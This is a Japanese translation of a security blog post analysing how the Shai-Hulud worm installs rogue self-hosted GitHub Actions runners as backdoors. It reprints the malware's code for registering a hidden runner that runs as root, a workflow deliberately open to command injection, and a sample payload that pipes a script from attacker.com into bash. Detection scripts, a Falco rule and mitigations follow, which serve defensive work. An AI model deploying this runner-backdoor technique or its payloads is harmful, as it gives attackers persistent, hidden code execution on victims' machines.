< back to blog

脅威アクターがセルフホスト GitHub Actions ランナーをバックドアとして使用している方法

清水 孝郎
脅威アクターがセルフホスト GitHub Actions ランナーをバックドアとして使用している方法
Published by:
清水 孝郎
@
脅威アクターがセルフホスト GitHub Actions ランナーをバックドアとして使用している方法
Published:
January 13, 2026
シスディグによるファルコフィード

Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

さらに詳しく

本文の内容は、2026年1月13日に Alberto Pellitteri, Alessandro Lo Preteが投稿したブログ(https://www.sysdig.com/blog/how-threat-actors-are-using-self-hosted-github-actions-runners-as-backdoors)を元に日本語に翻訳・再構成した内容となっております。

現代のソフトウェア開発は、スピードとスケールを実現するために自動化に依存しており、GitHub Actions は CI/CD パイプライン全体の自動化を推進する主要なエンジンの一つです。GitHub Actions を使用することで、コードのコンパイル、テストの実行、アプリケーションのデプロイが、コードのプッシュやプルリクエストに応じて人手を介さずに行われます。

これらのワークフローは内部的にはランナーによって実行されます。ランナーとは、GitHub がホストする、またはユーザーが提供する実行用マシンです。GitHub は管理されたインフラを提供しており、そのランナーは短命で厳格に制御されています。一方、セルフホスト型ランナーでは、より高い制御性やプライベートリソースへのアクセスを得るために、組織が自社の内部サーバーやクラウドインスタンス上でワークフローを実行できます。これは、分離性を犠牲にして柔軟性と深い統合を得る形です。しかし、スピードにはしばしばセキュリティ上の課題が伴います。

セルフホスト型の GitHub Actions ランナーは、信頼されたチャネルのみを用いて通信する永続的なバックドアとして武器化される可能性があります。すべての通信が github.com に向かうため、従来のネットワーク防御はこの脅威をほとんど検知できません。2025 年 11 月 24 日には、Shai-Hulud ワームがまさにこの手法を大規模に実証し、侵害されたマシンに不正なランナーをインストールし、意図的に脆弱なワークフローをコマンド&コントロール(C2)チャネルとして使用しました。

Shai-Hulud キャンペーンをケーススタディとして、攻撃者が GitHub のセルフホスト型ランナー基盤を悪用し、永続的なリモートアクセスを確立する方法を探っていきます。また、攻撃の仕組み、検知戦略、そしてセキュリティチーム向けの監視に関する推奨事項についても検討します。

セルフホストランナーが魅力的なターゲットである理由

セルフホスト型ランナーは、GitHub Actions のワークフローを実行するためのマシンを、組織が自らホストできるようにするものです。GitHub ホスト型ランナーとは異なり、セルフホスト型ランナーでは、CI/CD 操作中に使用されるオペレーティングシステム、インストール済みソフトウェア、ハードウェア仕様について、チームが完全に制御できます。この柔軟性に加え、現在セルフホスト型ランナーの GitHub Actions 利用が無料であることから、広範な導入が進んでいます。(2026 年に向けた価格変更が発表されましたが、コミュニティからのフィードバックを受けて、セルフホスト型ランナーの料金は延期されました。)

攻撃者の視点では、セルフホスト型ランナーは複数の理由から価値があります。内部ネットワークへのアクセスを持っていることが多く、キャッシュされた認証情報やシークレットを保持している可能性があり、設計上、任意のコードを実行できるためです。登録プロセスも意図的に低い摩擦で設計されています。対象となるオペレーティングシステムとアーキテクチャを選択すると、GitHub はランナーアプリケーションをダウンロードして設定するための一連のコマンドを提供します。

# Create a folder
mkdir actions-runner && cd actions-runner

# Download the latest runner package
curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz

# Extract the installer
tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz

設定は最も重要なステップです。固有の登録トークンを指定して ./config.sh を実行することで、そのマシンは GitHub との長期間にわたる接続を確立します。

# Create the runner and start the configuration experience
./config.sh --url https://github.com/<owner>/<repository> --token <TOKEN>

# Start listening for jobs
./run.sh

登録トークンは、リポジトリの Settings メニューから手動で取得することも、GitHub API を介してプログラム的に取得することもできます。

  • /repos/{owner}/{repo}/actions/runners/registration-token for repository-level runners
  • /orgs/{org}/actions/runners/registration-token for organization-level runners

これらのトークンを生成するには、管理者レベルの権限が必要です。

ケーススタディ: Shai-Hulud backdoor

Shai-Hulud ワームは、セルフホスト型 GitHub Actions ランナーをバックドアとして使用する、この攻撃パターンの実例を示しています。トロイの木馬化された NPM パッケージを通じて開発者のマシンに侵入した後、Shai-Hulud は不正な GitHub ランナーをインストールすることで永続的なアクセスを確立しました。この攻撃は、4 つの明確な段階で進行します。

ステージ 1: リポジトリの作成

ワームが十分な権限を持つ有効な GitHub トークンを発見すると、直ちに新しいパブリックリポジトリを作成します。リポジトリ名はランダムな 18 文字の文字列ですが、説明欄には「Sha1-Hulud: The Second Coming」という固定のマーカーが含まれています。重要なのは、攻撃者が Discussions 機能を有効化しており、これが後に C2 チャネルとして機能する点です。

async ["createRepo"](repo_name, repo_description = "Sha1-Hulud: The Second Coming.", repo_is_private = false) {
    if (!repo_name) {
      return null;
    }
    try {
      let _0xc8701c = (await this.octokit.rest.repos.createForAuthenticatedUser({
        'name': repo_name,
        'description': repo_description,
        'private': repo_is_private,
        'auto_init': false,
        'has_issues': false,
        'has_discussions': true,
        'has_projects': false,
        'has_wiki': false
      })).data;
...

このコードは、Discussions 機能のみを有効にした最小限のリポジトリを作成します。可視性やノイズを抑えるため、それ以外の機能はすべて無効化されています。

ステージ 2: ランナー登録トークンの取得

リポジトリが稼働すると、マルウェアはGitHub APIを介してランナー登録トークンをリクエストします。

    this.gitRepo = repo_owner + '/' + repo_name;
    await new Promise(_0x29dfa6 => setTimeout(_0x29dfa6, 0xbb8));
    if (await this.checkWorkflowScope()) {
      try {
        let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
          'owner': repo_owner,
          'repo': repo_name
        });
        if (_0x449178.status == 0xc9) {
          let _0x1489ec = _0x449178.data.token;
...

このトークンにより、任意のマシンが攻撃者の管理下にあるリポジトリのワークフローランナーとして自身を登録できるようになり、結果として被害者のマシンから GitHub のインフラストラクチャへの、アウトバウンド起点の直接的な接続が作成されます。

ステージ 3: ランナーのインストールと実行

マルウェアは公式の GitHub Actions ランナーのバイナリをダウンロードし、隠しディレクトリ(~/.dev-env)にインストールしたうえで、「SHA1HULUD」という特徴的な名前で設定します。

if (a0_0x5a88b3.platform() === 'linux') {
    await Bun.$`mkdir -p $HOME/.dev-env/`;
    await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
    await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
    await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
    await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
    Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}

特に重要な実装上のポイントは 2 つあります。

  • RUNNER_ALLOW_RUNASROOT=1:デフォルトでは、GitHub ランナーは追加のセキュリティ層として、特権を持たない非 root プロセスとして実行されます。ここでは攻撃者がこの保護を明示的に上書きし、バックドア経由で実行されるあらゆるコマンドが root 権限を持つようにしています。
  • nohup … &:nohup を使用してプロセスをバックグラウンド化することで、最初の悪意あるスクリプトが終了した後もランナーが永続的に稼働し続けます。

ステージ 4: 脆弱なワークフローインプラント

最後の構成要素は、リポジトリ内の .github/workflows/discussion.yaml にアップロードされるワークフローファイルです。このワークフローは、意図的にコマンドインジェクションに対して脆弱な設計となっています。

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

このワークフローが特に危険である理由は、次の 2 つの特性にあります。

式展開によるコマンドインジェクション:このワークフローでは、${{ github.event.discussion.body }} を run コマンド内の引数として直接使用しています。GitHub Actions はこの式を補間し、実行前にディスカッション本文のテキストをそのままシェルスクリプトに置き換えるため、攻撃者は容易に本来意図されたコマンドから「抜け出す」ことができます。ディスカッション本文にバッククォート、セミコロン、パイプなどのシェルメタ文字を含めることで、攻撃者は echo コマンドを逸脱し、ホストマシン上で任意のコードを直接実行できます。


RUNNER_TRACKING_ID によるプロセス永続化:GitHub Action が完了すると、通常ランナーはジョブ中に起動された孤立プロセスを終了させます。しかし、RUNNER_TRACKING_ID を 0(または実際のジョブ ID 以外の任意の値)に設定することで、攻撃者はこのクリーンアップ機構を回避し、ワークフロー終了後も生成されたプロセスを存続させることができます。この手法は 2022 年に Praetorian によって初めて文書化され、セルフホスト型ランナーが永続的なバックドアへと変換され得ることを示しました。

バックドアからのコマンド実行

この基盤が整うと、攻撃者はリポジトリの Discussions に投稿することで、被害者のマシン上で任意のコマンドを実行できます。たとえば、次の内容をディスカッション本文として投稿するとします。

"" && curl -s http://attacker.com/shell.sh | bash

ランナーの実行結果:

echo "" && curl -s http://attacker.com/shell.sh | bash

空の echo は正常に完了し、その後シェルは攻撃者のペイロードをダウンロードして実行します。以下のスクリーンショットでは、より単純な例として、echo コマンドの実行に続いて whoami、およびプロセス一覧表示コマンドを実行している様子を示しています。

これにより、被害者のシステム上に完全なバックドアが作成されます。攻撃者がそのパブリックリポジトリへのアクセスを維持している限り、ディスカッションコメントを投稿するだけで、侵害されたマシン上でコードを実行できます。すべての通信は github.com に向かうため、このバックドアは通常の開発アクティビティに紛れ込みます。

より広範なリスクパターン

その他の脆弱なトリガーイベント

Shai-Hulud が使用した discussion イベントは、この種の攻撃における唯一のベクターではありません。本質的なリスクは、永続的なランナー上でワークフローが信頼されていない外部入力をどのように処理するかにあります。信頼されていないユーザーがセルフホスト型ランナー上でワークフローを起動できるあらゆるイベントは、バックドア注入のために武器化され得ます。

  • pull_request_target:このイベントはベースリポジトリのコンテキストで実行されるため、シークレットや特権的な GITHUB_TOKEN へのアクセスが付与される可能性があります。このトリガーを使用するワークフローが、悪意のあるプルリクエストからコードをチェックアウトし、それをセルフホスト型ランナー上で実行した場合、攻撃者は即座に高権限のアクセスを獲得します。
  • issue_comment:パブリックリポジトリでは誰でもコメントできるため、このイベントはリモートコマンドインジェクションの自然なベクターとなります。コメント本文を適切にサニタイズせずに処理するワークフローは脆弱です。
  • 見落とされたアクティビティタイプ:これまでに行った安全でない GitHub Actions に関するリサーチでも示したように、ワークフローイベントに対して詳細な type を指定しないことは、危険な抜け穴を生み出します。攻撃者は、Issue にラベルを付ける、Discussion の回答を解除する、といった目立たないアクションを通じて脆弱なワークフローをトリガーでき、検知される可能性を低下させることができます。

永続的なサービスインストール

観測された Shai-Hulud キャンペーンでは、このバックドアはランナープロセスの稼働ライフサイクルに結び付けられていたため、比較的脆弱でした。ホストマシンが再起動すると、ランナープロセスおよびそれによって生成されたすべてのプロセスが終了します。

しかし、GitHub はランナーをシステムサービスとして設定するためのネイティブなツールを提供しています。初期のコード実行権限を獲得した攻撃者が ./svc.sh スクリプトを実行することで、次のことを確実にできます。

  1. バックドアは再起動後も存続します。ランナーアプリケーションがシステムの起動シーケンスの一部として自動的に起動します。
  2. 検知は最小限に抑えられます。侵害されたランナーは、不審な対話型プロセスとしてではなく、標準的なシステムサービス(systemd 経由)として動作するため、正規のインフラの中に攻撃者の存在を隠蔽します。

攻撃者は、一時的なワークフロー実行から永続的なシステムサービスへと方向転換することで、1 回限りのエクスプロイトを恒久的なバックドアへと効果的に変えます。

不正なランナーを見つける方法

組織は、不正に登録されたランナーが存在しないかを確認するため、GitHub のランナー一覧を積極的に監視すべきです。次のスクリプトは、リポジトリまたは組織に設定されているすべてのランナーを取得します。

#!/bin/bash
#
# Script to list all GitHub Actions runners with their name and status.
#
# Usage:
#     export GITHUB_TOKEN=your_token_here
#     ./list_runners.sh --owner OWNER [--repo REPO]

set -e

OWNER=""
REPO=""

while [[ $# -gt 0 ]]; do
    case $1 in
        --owner)
            OWNER="$2"
            shift 2
            ;;
        --repo)
            REPO="$2"
            shift 2
            ;;
        --token)
            GITHUB_TOKEN="$2"
            shift 2
            ;;
        -h|--help)
            echo "Usage: $0 --owner OWNER [--repo REPO] [--token TOKEN]"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
done

if [ -z "$OWNER" ]; then
    echo "Error: --owner is required" >&2
    exit 1
fi

if [ -z "$GITHUB_TOKEN" ]; then
    echo "Error: GitHub token is required." >&2
    exit 1
fi

if [ -n "$REPO" ]; then
    API_URL="https://api.github.com/repos/${OWNER}/${REPO}/actions/runners"
    SCOPE="${OWNER}/${REPO}"
else
    API_URL="https://api.github.com/orgs/${OWNER}/actions/runners"
    SCOPE="organization: ${OWNER}"
fi

RESPONSE=$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" \
                   -H "Accept: application/vnd.github.v3+json" \
                   "${API_URL}?per_page=100")

if echo "$RESPONSE" | jq -e '.message' > /dev/null 2>&1; then
    ERROR_MSG=$(echo "$RESPONSE" | jq -r '.message')
    echo "Error: $ERROR_MSG" >&2
    exit 1
fi

RUNNER_COUNT=$(echo "$RESPONSE" | jq '.runners | length')

if [ "$RUNNER_COUNT" -eq 0 ]; then
    echo "No runners found for $SCOPE"
    exit 0
fi

printf "%-10s %-30s %-15s %-10s\n" "ID" "Name" "Status" "Busy"
printf "%-10s %-30s %-15s %-10s\n" "----------" "------------------------------" "---------------" "----------"

echo "$RESPONSE" | jq -r '.runners[] | 
    [.id, (.name | if length > 30 then .[0:27] + "..." else . end), .status, (if .busy then "Yes" else "No" end)] | @tsv' | \
while IFS=$'\t' read -r id name status busy; do
    printf "%-10s %-30s %-15s %-10s\n" "$id" "$name" "$status" "$busy"
done

echo ""
echo "Total runners: $RUNNER_COUNT"

さらに、組織は GitHub の監査ログイベント、特に repo.register_self_hosted_runner を照会し、過去に不正なランナー登録が行われていないかを特定すべきです。ランナー情報は、リポジトリの Settings パネル内、Actions セクションの Runners ページからも直接確認できます。

上記のスクリプトを実行すると、次のような出力が表示される場合があります。

ただし、登録されているランナーに関する情報は、リポジトリから直接取得することもできます。そのためには、Settings パネルにアクセスし、Actions セクション内の Runners ページを開いてください。

不正ランナーの検出

RUNNER_TRACKING_ID=0 という環境変数は、ランナーのプロセスクリーンアップ機構を回避する以外に正当な用途がないため、悪意ある挙動を示す信頼性の高い指標となります。

Sysdig は、Sysdig Runtime Notable Events ポリシーの一部として「Persistence Across Github Runner Executions Detected」ルールを提供しています。このルールは、GitHub Actions のジョブ実行における通常のライフサイクルを超えてプロセスが存続しようとした場合にトリガーされます。

Falco ユーザーにも同様のルールがあります。

- macro: spawned_process
  condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)

- rule: Persistence Across Github Runner Executions Detected
  desc: This rule detects the usage of the RUNNER_TRACKING_ID environment variable set to 0 or empty string. When this variable is set, the cleanup job does not terminate the associated process. Threat actors can exploit this to maintain persistence across workflow executions.
  condition: spawned_process and (proc.env contains "RUNNER_TRACKING_ID=0" or proc.env contains "RUNNER_TRACKING_ID= ") and not proc.aenv[1] contains "RUNNER_TRACKING_ID="
  output: Persistence attempt via GitHub Runner detected. Process %proc.name (PID: %proc.pid) spawned in container %container.name with RUNNER_TRACKING_ID=%proc.env["RUNNER_TRACKING_ID"]. (user=%user.name image=%container.image.repository cmdline=%proc.cmdline)

組織は次の点についても監視する必要があります。

  • 隠しディレクトリから実行されているランナープロセス (例: ~/.dev-env)
  • 疑わしい名前で設定されたランナー (例: SHA1 HULUD)
  • ランナープロセスから未知のリポジトリへの予期しないアウトバウンド接続
  • run コマンド内でサニタイズされていない式展開を含むワークフローファイル

緩和策の推奨事項

GitHub 自身のセキュリティ強化に関するドキュメントでは、次のようにリスクが明確に示されています。「GitHub のセルフホスト型ランナーは、一時的でクリーンな仮想マシン上で実行される保証がなく、ワークフロー内の信頼されていないコードによって永続的に侵害される可能性があります。」

GitHub のガイダンスに基づき、組織は次のような制御策を実装すべきです。

  • パブリックリポジトリでセルフホスト型ランナーを決して使用しないでください。リポジトリをフォークしてプルリクエストを作成できる者であれば誰でも、ランナー上でコードを実行できる可能性があります。
  • エフェメラルランナーを使用してください。各ジョブ実行後にランナー環境を破棄し、永続化を防ぎます。GitHub は、このアプローチについて「セルフホスト型ランナーが 1 つのジョブしか実行しないことを保証する方法がないため、意図したほど効果的でない可能性がある」と指摘していますが、それでも攻撃のハードルを大きく引き上げます。
  • リポジトリ制限付きでランナーをグループ化してください。ランナーが組織またはエンタープライズレベルで定義されている場合、GitHub は複数のリポジトリのワークフローを同一のランナーにスケジューリングできます。ランナーグループを使用して、どのリポジトリがどのランナーにアクセスできるかを制限してください。
  • ランナーマシン上の機密データを最小化してください。シークレット、SSH キー、API トークンをランナー基盤に置かないでください。ワークフローを起動できるユーザーは誰でもランナー環境にアクセスできると想定してください。
  • ランナーのネットワークアクセスを制限してください。ランナーが到達できる内部サービスを限定します。クラウドのメタデータサービス、本番データベース、その他の機密インフラへのアクセスをランナーに与えないようにしてください。

まとめ

セルフホスト型ランナーは、過小評価されがちな攻撃対象領域です。設計上、ワークフローから任意のコードを実行し、GitHub との永続的な接続を維持し、内部インフラ上で高い権限で動作することが少なくありません。Shai-Hulud キャンペーンは、攻撃者がこれらの特性を悪用し、正規の CI/CD トラフィックに完全に溶け込むバックドアを、迅速かつ大規模に確立できることを示しています。

セルフホスト型ランナーを使用している組織は、ランナーのインベントリを定期的に監査し、信頼されたリポジトリにのみランナーの使用を制限し、RUNNER_TRACKING_ID の操作のような永続化手法に対するランタイム検知を実装すべきです。侵害されたランナーは、ビルド基盤への特権的なアクセス、さらには本番環境のシークレットやデプロイメントパイプラインへのアクセスを攻撃者に与える可能性があるため、ランナーのセキュリティを最優先事項として扱うことが不可欠です。

About the author

Threat Research

セキュリティの専門家と一緒に、クラウド防御の最適な方法を探索しよう